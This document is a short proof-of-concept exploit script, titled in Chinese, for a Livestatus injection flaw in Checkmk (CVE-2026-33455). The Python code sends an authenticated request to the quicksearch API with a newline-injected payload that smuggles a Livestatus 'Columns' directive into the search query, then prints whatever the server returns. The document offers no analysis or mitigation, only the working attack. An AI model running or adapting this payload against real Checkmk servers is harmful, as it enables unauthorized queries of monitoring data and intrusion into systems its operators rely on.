CVE-2026-33455 Checkmk Livestatus注入漏洞

import requests # Target configuration target_url = "http://target-checkmk-server/checkmk/api/1.0/domain-types/quicksearch/collections/all" username = "low_priv_user" password = "password" # Livestatus injection payload # The payload attempts to inject a new line and a command to list columns # exploiting the insufficient input sanitization in the quicksearch. payload = "test\nColumns: host_name description\n" params = { "q": payload # Injecting payload into the search query } try: # Sending the request with authentication response = requests.get(target_url, params=params, auth=(username, password), verify=False) if response.status_code == 200: print("[+] Potential exploitation successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")